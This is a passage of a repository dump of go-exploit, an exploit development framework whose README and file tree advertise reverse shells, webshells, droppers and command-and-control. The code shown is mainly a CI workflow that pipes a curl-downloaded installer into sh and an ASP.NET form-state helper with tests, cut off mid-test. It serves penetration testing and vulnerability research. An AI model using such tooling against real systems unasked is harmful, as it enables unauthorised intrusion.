Repository: vulncheck-oss/go-exploit Branch: main Commit: 1e067d1dbd2b Files: 198 Total size: 1.1 MB Directory structure: gitextract_2r412ve6/ ├── .github/ │ ├── dependabot.yml │ └── workflows/ │ ├── go.yml │ └── useragent-update.yml ├── .gitignore ├── .golangci.yml ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── _uaupdate/ │ ├── README.md │ └── main.go ├── aspnet/ │ ├── aspnet.go │ └── aspnet_test.go ├── c2/ │ ├── channel/ │ │ └── channel.go │ ├── cli/ │ │ └── basic.go │ ├── external/ │ │ └── external.go │ ├── factory.go │ ├── factory_test.go │ ├── httpservefile/ │ │ └── httpservefile.go │ ├── httpserveshell/ │ │ └── httpserveshell.go │ ├── httpshellserver/ │ │ └── httpshellserver.go │ ├── shelltunnel/ │ │ └── shelltunnel.go │ ├── simpleshell/ │ │ ├── simpleshellclient.go │ │ └── simpleshellserver.go │ └── sslshell/ │ └── sslshellserver.go ├── cli/ │ ├── commandline.go │ └── commandline_test.go ├── config/ │ ├── config.go │ └── config_test.go ├── db/ │ ├── create.go │ ├── get.go │ └── update.go ├── docs/ │ ├── c2.md │ ├── custom-payloads.md │ ├── db.md │ ├── development.md │ ├── exploit-types.md │ ├── getting-started.md │ ├── output.md │ ├── scanning.md │ ├── usage-example.md │ ├── version-checking.md │ └── windows-lpe.md ├── dotnet/ │ ├── data/ │ │ └── ReturnMessage.xml │ ├── dotnetgadget.go │ ├── dotnetgadget_test.go │ ├── formatters.go │ ├── general_types.go │ ├── records.go │ ├── viewstate.go │ └── viewstate_test.go ├── encryption/ │ ├── aes.go │ ├── aes_crypto.go │ ├── aes_crypto_test.go │ ├── certificate.go │ ├── des.go │ ├── kdf.go │ ├── xor.go │ └── xor_test.go ├── framework.go ├── framework_test.go ├── go.mod ├── go.sum ├── java/ │ ├── constants.go │ ├── gadget_test.go │ ├── gadgets.go │ ├── javaclass.go │ ├── javagadget.go │ ├── ldapjndi/ │ │ └── ldapjndi.go │ └── objects.go ├── output/ │ ├── commonlog.go │ ├── exploitlog.go │ └── frameworklog.go ├── payload/ │ ├── bindshell/ │ │ ├── bindshell.go │ │ ├── bindshell_test.go │ │ ├── netcat.go │ │ └── telnet.go │ ├── dropper/ │ │ ├── dropper.go │ │ ├── dropper_test.go │ │ ├── groovy.go │ │ ├── php/ │ │ │ ├── dropper.php │ │ │ └── dropper_secure.php │ │ ├── php.go │ │ ├── unix.go │ │ └── windows.go │ ├── encode.go │ ├── encode_test.go │ ├── fileplant/ │ │ ├── cron.go │ │ └── fileplant_test.go │ ├── payload.go │ ├── payload_test.go │ ├── reverse/ │ │ ├── bash.go │ │ ├── gjscript/ │ │ │ └── glib_spawn.gjs │ │ ├── gjscript.go │ │ ├── groovy/ │ │ │ └── classic.groovy │ │ ├── groovy.go │ │ ├── java/ │ │ │ └── process_builder.java │ │ ├── java.go │ │ ├── jjs/ │ │ │ ├── reverse_shell.jjs │ │ │ └── reverse_shell_ssl.jjs │ │ ├── jjs.go │ │ ├── js.go │ │ ├── netcat.go │ │ ├── nodejs/ │ │ │ ├── reverse.js │ │ │ └── reverse_tls.js │ │ ├── openssl.go │ │ ├── perl.go │ │ ├── php/ │ │ │ ├── unflattened.php │ │ │ └── unflattened_self_delete.php │ │ ├── php.go │ │ ├── python/ │ │ │ ├── reverse27.py │ │ │ ├── reverse27_secure.py │ │ │ └── reverse3_12_secure.py │ │ ├── python.go │ │ ├── reverse.go │ │ ├── reverse_test.go │ │ ├── ruby.go │ │ ├── telnet.go │ │ ├── vbs/ │ │ │ └── reverse_http.vbs │ │ └── vbs.go │ ├── webshell/ │ │ ├── aspx.go │ │ ├── bash.go │ │ ├── jsp/ │ │ │ ├── webshell.jsp │ │ │ └── webshell_min.jsp │ │ ├── jsp.go │ │ ├── php.go │ │ ├── webshell.go │ │ └── webshell_test.go │ ├── wrapper.go │ └── wrapper_test.go ├── product/ │ ├── asus/ │ │ └── asus.go │ ├── product.go │ └── wordpress/ │ ├── plugins.go │ └── wordpress.go ├── protocol/ │ ├── afp/ │ │ └── afp.go │ ├── ajp/ │ │ ├── ajp.go │ │ └── ajp_test.go │ ├── dotnetremoting/ │ │ └── dotnetremoting.go │ ├── fortinet/ │ │ └── fgfm.go │ ├── http-user-agent.txt │ ├── httphelper.go │ ├── httphelper_test.go │ ├── ikev2/ │ │ ├── ikev2.go │ │ ├── ikev2_test.go │ │ ├── packs.go │ │ └── types.go │ ├── mikrotik/ │ │ ├── mikrotik_test.go │ │ ├── msg.go │ │ ├── webfig.go │ │ └── winbox.go │ ├── rocketmq/ │ │ ├── remoting.go │ │ └── remoting_test.go │ ├── sip/ │ │ ├── examples/ │ │ │ ├── README.md │ │ │ ├── call/ │ │ │ │ └── main.go │ │ │ ├── docker-compose.yml │ │ │ ├── ping/ │ │ │ │ └── main.go │ │ │ └── tcp/ │ │ │ └── main.go │ │ ├── helper.go │ │ ├── helper_test.go │ │ └── user-agent.txt │ ├── tcpsocket.go │ └── udpsocket.go ├── random/ │ ├── random.go │ └── random_test.go ├── search/ │ ├── search_test.go │ ├── semver.go │ └── xpath.go ├── transform/ │ ├── encode.go │ ├── encode_test.go │ ├── escape.go │ ├── escape_test.go │ ├── parsing.go │ ├── parsing_test.go │ ├── transform.go │ └── transform_test.go └── windows/ ├── alpc_other.go ├── alpc_test.go ├── alpc_windows.go ├── device_other.go ├── device_test.go ├── device_windows.go ├── fsctl_other.go ├── fsctl_windows.go ├── handle_other.go ├── handle_test.go ├── handle_windows.go ├── memory_other.go ├── memory_test.go ├── memory_windows.go ├── platform_other.go ├── platform_windows.go ├── service_other.go ├── service_test.go ├── service_windows.go ├── token_other.go ├── token_test.go ├── token_windows.go ├── windows.go └── windows_test.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/dependabot.yml ================================================ # To get started with Dependabot version updates, you'll need to specify which # package ecosystems to update and where the package manifests are located. # Please see the documentation for all configuration options: # https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates version: 2 updates: - package-ecosystem: "gomod" # See documentation for possible values directory: "/" # Location of package manifests schedule: interval: "daily" ================================================ FILE: .github/workflows/go.yml ================================================ # This workflow will build a golang project # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-go name: Go permissions: contents: read on: push: branches: [ "main" ] pull_request: branches: [ "main" ] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Set up Go uses: actions/setup-go@v4 with: go-version: '1.26.1' - name: Install golangci-lint run: curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $(go env GOPATH)/bin v2.10.1 - name: Build run: go build -v ./... - name: Lint run: golangci-lint run --fix - name: Test run: go test -v ./... ================================================ FILE: .github/workflows/useragent-update.yml ================================================ name: User-Agent Update on: workflow_dispatch: schedule: - cron: '0 0 * * 0' permissions: contents: write pull-requests: write jobs: build: runs-on: ubuntu-latest steps: - name: Checkout Repo uses: actions/checkout@v4 with: fetch-depth: 0 - name: Setup golang uses: actions/setup-go@v4 with: go-version: 1.21.x - name: Fetch JSONParser run: | go get github.com/buger/jsonparser working-directory: _uaupdate - name: Sort UA Data run: | go run . working-directory: _uaupdate - name: Reset gomod run: | go mod tidy - name: Create local changes run: | git add protocol/http-user-agent.txt - name: Commit files run: | git config --local user.email "action@github.com" git config --local user.name "GitHub Action" git commit --allow-empty -m "HTTP User Agent update" - name: Create Pull Request uses: peter-evans/create-pull-request@v6 with: token: ${{ secrets.GH_TOKEN }} branch: ua-update title: HTTP User-Agent update ================================================ FILE: .gitignore ================================================ # If you prefer the allow list template instead of the deny list, see community template: # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore # # Binaries for programs and plugins *.exe *.exe~ *.dll *.so *.dylib # Test binary, built with `go test -c` *.test # Output of the go coverage tool, specifically when used with LiteIDE *.out # Dependency directories (remove the comment below to include it) # vendor/ # Go workspace file go.work ================================================ FILE: .golangci.yml ================================================ version: "2" linters: enable: - asasalint - asciicheck - bidichk - canonicalheader - containedctx - contextcheck - copyloopvar - cyclop - decorder - dogsled - durationcheck - err113 - errchkjson - errname - errorlint - exhaustive - fatcontext - ginkgolinter - gocheckcompilerdirectives - gochecksumtype - gocognit - goconst - gocritic - gocyclo - godot - godox - goheader - gomoddirectives - gomodguard - gosmopolitan - grouper - importas - interfacebloat - intrange - loggercheck - makezero - mirror - misspell - musttag - nakedret - nilerr - nilnesserr - nilnil - nlreturn - nolintlint - nonamedreturns - perfsprint - predeclared - promlinter - protogetter - reassign - recvcheck - revive - rowserrcheck - sloglint - spancheck - sqlclosecheck - staticcheck - tagalign - tagliatelle - testifylint - unconvert - unparam - usestdlibvars - wastedassign - whitespace - wrapcheck - zerologlint settings: cyclop: max-complexity: 25 exclusions: generated: lax presets: - comments - common-false-positives - legacy - std-error-handling rules: - linters: - staticcheck path: c2/sslshell/sslshellserver.go text: SA1019 - linters: - staticcheck path: c2/httpservefile/httpservefile.go text: SA1019 - linters: - staticcheck path: httphelper.go text: SA1019 - linters: - staticcheck path: c2/shelltunnel/shelltunnel.go text: SA1019 - linters: - staticcheck path: cli/commandline_test.go text: SA1019 - linters: - gocognit - gocyclo - cyclop path: protocol/sip/helper_test.go paths: - protocol/mikrotik/msg.go - third_party$ - builtin$ - examples$ formatters: enable: - gci - gofmt - gofumpt - goimports exclusions: generated: lax paths: - protocol/mikrotik/msg.go - third_party$ - builtin$ - examples$ ================================================ FILE: CONTRIBUTING.md ================================================ # How to contribute to go-exploit Thank you for your interest in contributing to go-exploit! ## General Guidance When submitting issues, please ensure they include sufficient information to reproduce the problem. For new features, make sure the following is done provided or done: - A reasonable use case - Appropriate unit tests - All tests pass - Ensure compliance with our `.golangci.yml` without generating any complaints - Ensure that linting passes and there is nothing to fix Linting and testing can be done with: ```sh golangci-lint run --fix go test -v ./... ``` ================================================ FILE: LICENSE ================================================ Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright 2023 VulnCheck Inc Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ================================================ FILE: README.md ================================================ # go-exploit: Go Exploit Framework [![Go Reference](https://pkg.go.dev/badge/github.com/vulncheck-oss/go-exploit.svg)](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit) [![Go](https://github.com/vulncheck-oss/go-exploit/actions/workflows/go.yml/badge.svg?branch=main)](https://github.com/vulncheck-oss/go-exploit/actions/workflows/go.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/vulncheck-oss/go-exploit)](https://goreportcard.com/report/github.com/vulncheck-oss/go-exploit) `go-exploit` is an exploit development framework for [Go](https://go.dev/). The framework helps exploit developers create small, self-contained, portable, and consistent exploits. The framework was developed to simplify large scale scanning, exploitation, and integration with other tools. For API documentation, check out the package on [pkg.go.dev/github.com/vulncheck-oss/go-exploit](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit). ## Go Exploit Phases The Go Exploit Framework includes the following Phases which can be chained or executed independently: * [Go Exploit Framework Phases](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/getting-started.md) * Step 1 - Target Verification * Step 2 - [Version Scanning](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/version-checking.md) * Step 3 - [Exploitation](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/exploit-types.md) * Step 4 - [Command & Control](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md) ## Go Exploit Features The Go Exploit Framework includes these additional features: * [Auto-detection](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/scanning.md#autodetect-ssl) of SSL/TLS on the remote target. * Fully [proxy-aware](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/scanning.md#Proxy). * Key-value or JSON [output](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/output.md) for easy integration into other automated systems. * Builtin Java [gadgets](https://github.com/vulncheck-oss/go-exploit/blob/main/java/javagadget.go), [classes](https://github.com/vulncheck-oss/go-exploit/blob/main/java/javaclass.go), [LDAP](https://github.com/vulncheck-oss/go-exploit/blob/main/java/ldapjndi/ldapjndi.go), and [serializer](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/java) infrastructure. * Builtin dotnet [serializers](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/dotnet) and generators. * A selection of [multiple network protocol helpers](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/protocol#section-directories). * Many example [reverse shell](https://github.com/vulncheck-oss/go-exploit/blob/main/payload/reverse), [dropper](https://github.com/vulncheck-oss/go-exploit/tree/main/payload/dropper), and [bind shell](https://github.com/vulncheck-oss/go-exploit/blob/main/payload/bindshell) payloads. * Functionality that integrates exploitation with other [tools](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md#using--o) or frameworks like [Metasploit](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md#using-httpservefile) and Sliver. * Builtin ["c2"](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md) for catching encrypted/unencrypted shells or hosting implants, as well as the [ability to create your own C2 integrations](github.com/vulncheck-oss/external-c2-experiments/). * Automatic handling of [custom payloads and commands](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/custom-payloads.md). * Supports multiple target [formats](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/scanning.md#providing-targets) including lists, file-based, VulnCheck IP-Intel, and more. Documentation for specific features can be found in the [`docs/` directory](https://github.com/vulncheck-oss/go-exploit/tree/main/docs). ## Examples * [CVE-2025-0364](https://github.com/vulncheck-oss/cve-2025-0364): An example of a go-exploit using complex web application logic for BigAnt CVE-2025-0364. * [CVE-2023-22527](https://github.com/vulncheck-oss/cve-2023-22527): Three go-exploit implementations taking unique approaches to Atlassian Confluence CVE-2023-22527. * [CVE-2023-25194](https://github.com/vulncheck-oss/cve-2023-25194): Demonstrates exploiting CVE-2023-25194 against Apache Druid (using Kafka). * [CVE-2023-46604](https://github.com/vulncheck-oss/cve-2023-46604): Demonstrates exploiting CVE-2023-46604 and using the go-exploit HTTPServeFile c2. * [CVE-2023-36845](https://github.com/vulncheck-oss/cve-2023-36845-scanner): Scans for Juniper firewalls to determine if they are vulnerable to CVE-2023-36845. * [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467): A go-exploit implementation of CVE-2023-51467 that lands a Nashorn reverse shell. ## Contributing Community contributions in the form of issues and features are welcome. Please see [our contributors guide in CONTRIBUTING.md](CONTRIBUTING.md). ## License `go-exploit` is licensed under the [Apache License, Version 2.0](https://www.apache.org/licenses/LICENSE-2.0). For more details, refer to the LICENSE file. ================================================ FILE: _uaupdate/README.md ================================================ # Updating the go-exploit HTTP User Agent This main.go fetches user agents from the Project Discovery [useragent](https://github.com/projectdiscovery/useragent) package (using the [MIT license](https://github.com/projectdiscovery/useragent/blob/main/LICENSE)), and filters them down to the most recent Windows Chrome User-Agent. The output is written to `./protocol/http-user-agent.txt`. Usage example: ```console albinolobster@mournland:~/go-exploit/_uaupdate$ go run . albinolobster@mournland:~/go-exploit/_uaupdate$ cat ../protocol/http-user-agent.txt Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 ``` ================================================ FILE: _uaupdate/main.go ================================================ package main import ( "os" "regexp" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" ) func main() { uri := "https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome" resp, body, ok := protocol.HTTPSendAndRecv("GET", uri, "") if !ok { return } if resp.StatusCode != 200 { output.PrintfError("Unexpected status code: %d %s", resp.StatusCode, body) return } // looking in the body for the latest Chrome on Windows whatever matches := regexp.MustCompile(`
  • (Mozilla/\d+.\d+ \(Windows NT [^<]+)
  • `).FindStringSubmatch(body) if len(matches) != 0 { _ = os.WriteFile("../protocol/http-user-agent.txt", []byte(matches[1]), 0o644) } } ================================================ FILE: aspnet/aspnet.go ================================================ // Package aspnet provides helper functions to deal with ASP.NET and C# applications that utilize the state preserving hidden fields. These are notoriously annoying to automate and require multiple requests per action and often simulate user interaction clicks. The ASPState type helps speed up development of those requests. // // The package can be used to facilitate chains of go-exploit requests to ASP.NET applications like so: // // state := aspnet.State{} // resp, body, ok := protocol.HTTPSendAndRecvWith("GET", conf.GenerateURL("/management/AdminDatabase.aspx"), "") // if !ok { // output.PrintError("Could not retrieve to the admin database endpoint") // // return false // } // // state.Update(body) // // // Now only the parameters that are required can be utilized and no special body parsing // // for __VIEWSTATE and friends is required. // p := state.MergeParams(map[string]string{ // "__EVENTTARGET": "ctl00$MainContent$DatabaseType", // "ctl00%24MainContent%24DatabaseType": "psql", // }) // params := protocol.CreateRequestParamsEncoded(p) // headers["Content-Type"] = "application/x-www-form-urlencoded" // resp, body, ok = protocol.HTTPSendAndRecvWithHeaders("POST", conf.GenerateURL("/management/AdminDatabase.aspx"), params, headers) // if !ok { // output.PrintError("Could not POST to the admin database endpoint") // // return false // } // // // Update the state from the previous POST response, this time we only want the states and have no content // state.Update(body) // params := protocol.CreateRequestParamsEncoded(state.AsParams()) // resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", conf.GenerateURL("/management/AdminDatabase.aspx"), params, headers) // if !ok { // output.PrintError("Could not POST to the admin database endpoint") // // return false // } package aspnet import ( "maps" "strings" "github.com/antchfx/htmlquery" ) // State represents the current state of the steps in a request chain for a ASP.NET application. The state should have all possible ASP.NET common state values represented and if they are not set in the current request state will be nil. This state struct only covers: // - __VIEWSTATE // - __VIEWSTATEGENERATOR // - __EVENTVALIDATION // - __EVENTARGUMENT // - __EVENTTARGET // - __LASTFOCUS // // The __EVENTTARGET and __EVENTARGUMENT are purposefully not omitted as there are often multiple or non-state required targets, so ensure they are set to the specific target. type State struct { ViewState *string ViewStateGenerator *string EventTarget *string EventValidation *string EventArgument *string LastFocus *string } // xPathQuiet is similar to search.XPath, but does not trigger framework errors as these can be expected to be empty. func xPathQuiet(document, path string) (string, bool) { doc, err := htmlquery.Parse(strings.NewReader(document)) if err != nil { return "", false } n := htmlquery.FindOne(doc, path) if n == nil { return "", false } return htmlquery.InnerText(n), true } // AsParams creates a map structure for use with the protocol package HTTP helpers or in their raw map form. If the last process state did not have one of the parameters it will not be set, but empty string values are preserved. func (state *State) AsParams() map[string]string { u := map[string]string{} if state.ViewState != nil { u["__VIEWSTATE"] = *state.ViewState } if state.ViewStateGenerator != nil { u["__VIEWSTATEGENERATOR"] = *state.ViewStateGenerator } if state.EventValidation != nil { u["__EVENTVALIDATION"] = *state.EventValidation } if state.EventArgument != nil { u["__EVENTARGUMENT"] = *state.EventArgument } if state.EventTarget != nil { u["__EVENTTARGET"] = *state.EventTarget } if state.LastFocus != nil { u["__LASTFOCUS"] = *state.LastFocus } return u } // MergeParams merges the hand written or custom parameters and the ASP.NET state parameters to allow for a single call to protocol.CreateRequestParamsEncoded for both the current state and any modifications that are necessary. The same rules for parameter empty vs not found exist as AsParams. The parameters passed in the function will override the underlying state values if they are passed. func (state *State) MergeParams(p map[string]string) map[string]string { params := state.AsParams() maps.Copy(params, p) return params } // Update the State to extract the supported state values and reset the parameters that are not found. This should be called after each HTTP request that requires state updates. This update only works on the first matched state document and if multiple states are set on the expected page manual updating may be required. func (state *State) Update(body string) { v, hasMatch := xPathQuiet(body, `//input[@name="__VIEWSTATE"]/@value`) if hasMatch { state.ViewState = &v } else { state.ViewState = nil } vg, hasMatch := xPathQuiet(body, `//input[@name="__VIEWSTATEGENERATOR"]/@value`) if hasMatch { state.ViewStateGenerator = &vg } else { state.ViewStateGenerator = nil } ev, hasMatch := xPathQuiet(body, `//input[@name="__EVENTVALIDATION"]/@value`) if hasMatch { state.EventValidation = &ev } else { state.EventValidation = nil } et, hasMatch := xPathQuiet(body, `//input[@name="__EVENTTARGET"]/@value`) if hasMatch { state.EventTarget = &et } else { state.EventTarget = nil } ea, hasMatch := xPathQuiet(body, `//input[@name="__EVENTARGUMENT"]/@value`) if hasMatch { state.EventArgument = &ea } else { state.EventArgument = nil } lf, hasMatch := xPathQuiet(body, `//input[@name="__LASTFOCUS"]/@value`) if hasMatch { state.LastFocus = &lf } else { state.LastFocus = nil } } ================================================ FILE: aspnet/aspnet_test.go ================================================ package aspnet_test import ( "testing" "github.com/vulncheck-oss/go-exploit/aspnet" ) var pageState1 = ` Gladinet Cloud Cluster
    ` var pageState2 = ` Gladinet Cloud Cluster
    ` func TestState_Full(t *testing.T) { state := aspnet.State{} p := state.AsParams() if len(p) != 0 { t.Error("Parameters should not have state currently") } state.Update(pageState1) p = state.AsParams() if len(p) == 0 { t.Error("Parameters should have state currently") } if len(p) != 6 { t.Errorf("First state should only have 6 values: %d - %#v", len(p), p) } value, exists := p["__VIEWSTATE"] if !exists { t.Error("ViewState should be set on first request state update") } if value != `/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYCAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBZmQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAQUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8BBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGRkhIVOv1laSf4FVfKCihTCvPyajtM=` { t.Error("ViewState on first update is unexpected") } value, exists = p["__LASTFOCUS"] if !exists { t.Error("LastFocus should not be nil") } if value != `` { t.Error("LastFocus should be set but is an empty string") } if state.ViewStateGenerator == nil { t.Errorf("ViewStateGenerator should not be nil on first request: %#v", state.ViewStateGenerator) } state.Update(pageState2) p = state.AsParams() if len(p) == 0 { t.Error("Parameters should have state currently at state 2") } if len(p) != 5 { t.Errorf("Second state should only have 5 values: %d - %#v", len(p), p) } if state.ViewStateGenerator != nil { t.Errorf("ViewStateGenerator should be nil on second request: %#v", state.ViewStateGenerator) } if state.ViewState == nil { t.Errorf("ViewState should be not be nil on second request: %#v", state.ViewStateGenerator) } if *state.ViewState != `/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYGAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBAgNkAj0PDxYCHgdWaXNpYmxlaGRkAkUPDxYCHwFnZGQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAgUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8CBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFIGN0bDAwJE1haW5Db250ZW50JFBTUUxDaGtTU0xNb2Rlt1OAugQHTFQSO9InFhq1a4zTB6w=` { t.Error("ViewState on second update is unexpected") } } func TestState_Each(t *testing.T) { state := 